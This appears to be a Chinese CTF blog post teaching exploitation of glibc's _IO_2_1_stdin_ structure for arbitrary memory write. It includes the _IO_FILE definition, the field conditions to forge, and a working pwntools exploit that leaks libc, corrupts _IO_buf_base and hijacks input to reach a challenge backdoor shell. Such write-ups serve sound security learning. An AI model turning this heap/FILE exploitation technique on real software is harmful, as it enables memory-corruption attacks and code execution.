_IO_2_1_stdin_结构体利用

文章发布时间:

最后更新时间:

文章总字数:
680

预计阅读时间:
3 分钟

页面浏览:加载中...

_IO_2_1_stdin_结构体利用

利用方法

修改输入函数的目标地址,从而任意地址写

使用条件

可以控制 _IO_stdin 结构体

前置知识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

主要思路

设置 _IO_read_end 等于 _IO_read_ptr

设置 _flag &~ _IO_NO_READS 即 _flag &~ 0x4

设置 _fileno 为 0

设置 _IO_buf_base 为 write_start , _IO_buf_end 为 write_end 且

使得 _IO_buf_end-_IO_buf_base ⼤于将要使⽤io函数读⼊的内容

在下⼀次读⼊就可以从 _IO_buf_base 开始写⼊,实现任意写。

例题和exp

1
http://10.81.2.230:5244/d/CTF%E9%A2%98%E7%9B%AE/null%E7%9A%84%E9%A2%98/_IO_2_1_stdin_?sign=Qs8BzWq5MM2AtC9bJjWHHlJlHb7ZiTeG1mQ3RHl71Jc=:0

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
libc = ELF("/home/heshi/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
# p = remote("127.0.0.1",10000)
p = process("./pwn")

'''

一堆跟程序交互的函数,不用管

'''
def dbg():
attach(p,'''

p _IO_2_1_stdin_

''')
pause()
def cmd(c):
p.sendlineafter(">> ",str(c))
def gift(addr):
cmd(1)
p.sendafter(b"addr: ",p64(addr))
def trigger(ctt):
cmd(2)
p.send(ctt)
def getchar():
cmd(4)
def check():
cmd(3)


'''
拿了些白送的信息
'''
p.recvuntil(b'gift: ')
printf_addr = int(p.recv(14),16)
libc_base = printf_addr - libc.sym['printf']
stdin = libc_base + libc.sym['_IO_2_1_stdin_']
p.recvuntil(b'backdoor: ')
backdoor = int(p.recv(14),16)
func = backdoor + 0x2d67
success("printf_addr: "+hex(printf_addr))
success("libc_base: "+hex(libc_base))
success("stdin: "+hex(stdin))
success("backdoor: "+hex(backdoor))
success("func: "+hex(func))


'''
这部分是精髓
'''

gift(stdin+56) # 篡改_IO_buf_base 满足第一个条件:_IO_buf_base指向非零,并便于修改_IO_buf_base

trigger(p64(libc_base-0x7fccf4cd0000+0x7fccf5094963)*3+p64(func)) #前面三个算一下,使其不变,篡改_IO_buf_base到func

for i in range(32):#不断读入,移动_IO_read_ptr,使满足_IO_read_end 等于 _IO_read_ptr
getchar()

trigger(p64(backdoor)) #进行一次输入函数,此时scanf目标地址已修改到func,篡改为 backdoor即可

check()#作最后的检查,拿shell

p.interactive()

参考资料

https://www.anquanke.com/post/id/194577

https://ywhkkx.github.io/2022/04/02/IO_FILE%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90%EF%BC%9Astdin%E4%BB%BB%E6%84%8F%E5%86%99/